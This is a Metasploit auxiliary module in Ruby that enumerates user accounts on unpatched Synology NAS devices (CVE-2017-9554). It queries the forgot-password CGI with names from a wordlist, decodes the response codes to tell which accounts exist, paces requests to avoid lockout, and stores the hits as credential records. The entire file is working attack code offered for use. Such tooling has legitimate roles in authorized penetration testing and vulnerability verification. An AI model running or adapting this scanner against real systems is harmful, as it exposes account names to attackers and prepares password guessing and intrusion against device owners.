##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Synology Forget Password User Enumeration Scanner',
        'Description' => %q{
          This module attempts to enumerate users on the Synology NAS
          by sending GET requests for the forgot password URL.
          The Synology NAS will respond differently if a user is present or not.
          These count as login attempts, and the default is 10 logins in 5min to
          get a permanent block.  Set delay accordingly to avoid this, as default
          is permanent.
          Vulnerable DSMs are:
          DSM 6.1 < 6.1.3-15152
          DSM 6.0 < 6.0.3-8754-4
          DSM 5.2 < 5.2-5967-04
        },
        'Author' => [
          'h00die', # msf module
          'Steve Kaun' # POC
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'EDB', '43455' ],
          [ 'CVE', '2017-9554' ],
          [ 'URL', 'https://www.synology.com/en-global/security/advisory/Synology_SA_17_29_DSM' ]
        ],
        'DisclosureDate' => '2011-01-05',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ACCOUNT_LOCKOUTS, IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(5000),
        OptString.new('TARGETURI', [true, 'The path to users Synology Web Interface', '/']),
        OptPath.new('USER_FILE', [
          false, 'File containing users, one per line',
          File.join(Msf::Config.data_directory, 'wordlists', 'unix_users.txt')
        ]),
        OptInt.new('DELAY', [true, 'Seconds delay to add to avoid lockout', 36])
      ]
    )
  end

  def run_host(_ip)
    @users_found = {}

    unless File.readable?(datastore['USER_FILE'])
      fail_with(Failure::BadConfig, 'USER_FILE can not be read')
    end
    users = File.new(datastore['USER_FILE']).read.split
    users.each do |user|
      do_enum(user)
      vprint_status("Delaying #{datastore['DELAY']}s") if datastore['DELAY'] > 0 # dont flood the prompt
      Rex.sleep(datastore['DELAY'])
    end

    if @users_found.empty?
      print_status("#{full_uri} - No users found.")
    else
      print_good("#{full_uri} - Users found: #{@users_found.keys.sort.join(', ')}")
      report_note(
        host: rhost,
        port: rport,
        proto: 'tcp',
        sname: (ssl ? 'https' : 'http'),
        type: 'users',
        vhost: vhost,
        data: { users: @users_found.keys.join(', ') }
      )
    end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user]
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def do_enum(username)
    vprint_status("Attempting #{username}")
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'webman', 'forget_passwd.cgi'),
      'method' => 'GET',
      'vars_get' => {
        'user' => username
      }
    })
    unless res
      print_error('Connection to host refused')
      fail_with(Failure::Unreachable, 'Connection to host refused')
    end
    j = res.get_json_document
    if j['msg'] == 5
      fail_with(Failure::Disconnected, 'You have been locked out.  Retry later or increase DELAY')
    end
    if j['msg'] == 3
      fail_with(Failure::UnexpectedReply, 'Device patched or feature disabled')
    end
    if j['msg'] == 2 || j['msg'] == 1
      print_good("#{username} - #{j['info']}")
      @users_found[username] = :reported
      report_cred(
        ip: rhost,
        port: rport,
        service_name: (ssl ? 'https' : 'http'),
        proof: res.body
      )
    end
    # msg 1 means user can login to GUI
    # msg 2 means user exists but no GUI login
    # msg 3 means not supported/disabled/patched
    # msg 4 means no user
    # msg 5 means auto block is enabled and youre blocked. Default is 10 login attempts, and these
    #     count as lgin attempts.
  rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError
    print_error('Connection to host refused')
    fail_with(Failure::Unreachable, 'Connection to host refused')
  rescue Timeout::Error, Errno::EPIPE
    fail_with(Failure::Unreachable, 'Connection issue')
  end
end
